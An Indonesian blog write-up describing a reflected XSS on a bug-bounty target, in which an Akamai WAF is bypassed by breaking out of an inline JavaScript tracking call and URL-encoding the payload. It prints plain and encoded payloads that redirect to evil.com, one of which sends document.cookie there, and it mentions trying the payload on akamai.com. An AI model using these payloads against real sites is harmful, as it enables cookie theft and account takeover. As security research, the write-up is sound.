Reflected Cross Site Scripting (AkamaiGhost) Bypass

Justakazh
5 min readJul 21, 2022

Disclaimer

Tulisan ini ditulis pada tanggal 13 Juli 2022. Jika anda menemukan website yang sama dan mencoba payload yang saya gunakan tidak berhasil, itu memungkinkan payload yang saya gunakan hanya berfungsi pada beberapa website atau bahkan mereka telah melakukan patching pada payload yang saya gunakan tersebut.

Introduction

pada tulisan ini saya akan membahas bagaimana cara saya membypass Web Application Firewall (WAF) serta mengetahui potensi yang akan terjadi ketika tidak diterapkannya input validation terhadap karakter berbahaya.

Let’s start !

Disini saya menemukan sebuah situs yang menurut saya cukup menarik dan situs tersebut membuka sebuah program bug bounty. Pada tahap awal saya melakukan Information Gathering (Subdomain Enum, WaybackURL, Portscanning, etc). Ketika proses Information Gathering saya menemukan dan tertarik terhadap URL

https://redacted.com/path/path/?search?text=

RESPONSE HEADER

Gambar diatas tersebut merupakan response dari url tersebut, url tersebut berfungsi untuk melakukan pencarian terhadap konten pada situs tersebut. pada awalnya saya masih berfikir bahwa situs tersebut tidak memiliki WAF sehingga saya mencoba menyisipkan karakter seperti () <> “ = untuk mengecheck apakah pada fungsi tersebut menerapkan validasi/filtering input atau tidak.

RESPONSE HEADER
TITLE
META TAG
JavaScript

Pada gambar diatas diketahui bahwa karakter yang saya kirimkan ditampilkan melalui meta tag, title, serta didalam script tag javascript

  • Pada tag meta, terdapat beberapa karakter yang saya kirimkan terhapus diantaranya adalah <> dan “
  • Pada tag title, terdapat beberapa karakter yang saya kirimkan terhapus dan berubah menjadi karakter entities
  • Pada tag javascript, terdapat karakter yang terhapus yaitu <>

Disini saya tertarik pada karakter yang ditampilkan pada script didalam tag javascript.

Selanjutnya saya mencoba untuk menggunakan payload berikut ini untuk mentrigger xss

“</script><script>alert()</script>

Dengan harapan payload tersebut menutup bagian “ kemudian tag </script> untuk menutup tag <script> awal selanjutnya dilanjutkan dengan <script>alert()</script>

RESPONSE HEADER

Disini terdapat perbedaan response header, setelah merngirimkan payload tersebut saya mendapatkan response 403 Forbidden dan seperti yang dapat dilihat pada gambar tersebut. Jika kita lihat pada response 200 sebelumnya menampilkan informasi Server : * setelah terdeteksi dengan response 403 server tersebut berubah menjadi Server: AkamaiGHost. disini saya menyimpulkan bahwa situs tersebut menggunakan atau terproteksi oleh Akamai. Akan tetapi saya memiliki kecurigaan terhadap hal tersebut, dimana karakter yang saya inputkan <>()”= tidak terdeteksi oleh WAF ¯\_(ツ)_/¯

CONFUSED (CAN I BYPASS IT?)

Saya baru ingat bahwa Pada tag javascript menghilangkan karakter <> lantas mengapa saya menggunakan </script><script>alert()</script> untuk mendapatkan XSS lol xD

Mari kita mencoba memahami terlebih dahulu tentang definisi dan impact Cross Site Scripting

Definisi :

Cross Site Scripting merupakan sebuah teknik atau metode serangan dengan menyisipkan malicious code berupa javascript

Impact :

  • Account Takeover
  • Defacing
  • Pencurian data

Dari sini saya dapat menyimpulkan bahwa tujuan dari Cross Site Scripting diantaranya adalah Account Takeover, Defacing, serta Pencurian data.

Cross Site Scripting is not about showing alert
<script>alert(“f*ck”)</script>

Setelah menyalakan sebatang rokok, saya mendapatkan ide yang menarik. Karena saya berfokus pada input yang ditampilkan melalui script didalam tag javascript saya tidak perlu menggunakan tag <script> atau pun html attribute untuk menjalankan javascript. Selanjutnya saya mencoba untuk menganalisa kode javascript tersebut

wiredminds.push([“setTrackParam”, “wm_ref”, “http://wmisearch.de?q=IS-searchme"]);
wiredminds.push([“setTrackParam”, “wm_sname”, “ “]);

perlu diketahui bahwa setelah inputan (searchme) terdapat karakter “]); ini difungsikan untuk menutup string, array, function, serta diakhiri dengan titik koma (;)

pertama yang harus saya lakukan adalah menyisipkan karakter “]); untuk menutup string,array,function kemudian dilanjutkan dengan malicious script yang saya buat dan kemudian agar script tersebut tidak error dilanjutkan dengan wiredminds.push([“setTrackParam”, “wm_ref”, “http://wmisearch.de?q=IS-

sehingga payload tersebut adalah

“]);window.location.href=”http://evil.com";wiredminds.push(["setTrackParam", “wm_ref”, “http://wmisearch.de?q=IS-

Sehingga dari ekspetasi saya yang akan ditampilkan nantinya adalah

wiredminds.push([“setTrackParam”, “wm_ref”, “http://wmisearch.de?q=IS- searchme”]);
window.location.href=”http://evil.com";
wiredminds.push([“setTrackParam”, “wm_ref”, “http://wmisearch.de?q=IS-
"]);wiredminds.push([“setTrackParam”, “wm_sname”, “ “]);

BURPSUITE REPEATER
BROWSER RESPONSE

Yang saya dapatkan adalah 400 bad request. Mari kita coba untuk melakukan url encoding terhadap payload tersebut

“]);window.location.href=”http://evil.com";wiredminds.push(["setTrackParam", “wm_ref”, “http://wmisearch.de?q=IS-

menjadi

%22%5d%29%3b%77%69%6e%64%6f%77%2e%6c%6f%63%61%74%69%6f%6e%2e%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%65%76%69%6c%2e%63%6f%6d%22%3b%77%69%72%65%64%6d%69%6e%64%73%2e%70%75%73%68%28%5b%22%73%65%74%54%72%61%63%6b%50%61%72%61%6d%22%2c%20%22%77%6d%5f%72%65%66%22%2c%20%22%68%74%74%70%3a%2f%2f%77%6d%69%73%65%61%72%63%68%2e%64%65%3f%71%3d%49%53%2d

BURPSUITE REPEATER
BURPSUITE HTTP HISTORY

GOTCHAAAAA I GOT IT!!

Selanjutnya saya akan mencoba untuk stealing cookie dengan menggunakan payload

“]);window.location.href=”http://evil.com/?c="+document.cookie;wiredminds.push(["setTrackParam", “wm_ref”, “http://wmisearch.de?q=IS-

menjadi

%22%5d%29%3b%77%69%6e%64%6f%77%2e%6c%6f%63%61%74%69%6f%6e%2e%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%65%76%69%6c%2e%63%6f%6d%22%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3b%77%69%72%65%64%6d%69%6e%64%73%2e%70%75%73%68%28%5b%22%73%65%74%54%72%61%63%6b%50%61%72%61%6d%22%2c%20%22%77%6d%5f%72%65%66%22%2c%20%22%68%74%74%70%3a%2f%2f%77%6d%69%73%65%61%72%63%68%2e%64%65%3f%71%3d%49%53%2d

BURPSUITE REPEATER
BURPSUITE REPEATER

seperti yang dapat dilihat pada gambar dibawah ini saya mencoba untuk mengetes payload tersebut pada akamai.com dan response dari payload yang saya sisipkan tersebut 200 OK

Penutup

pada artikel kali ini kita sudah memahami impact dan konsep dasar dari Cross Site Scripting (XSS). semoga dengan adanya artikel kali ini bisa membantu Cyber Security Indonesia menjadi lebih baik.

--

--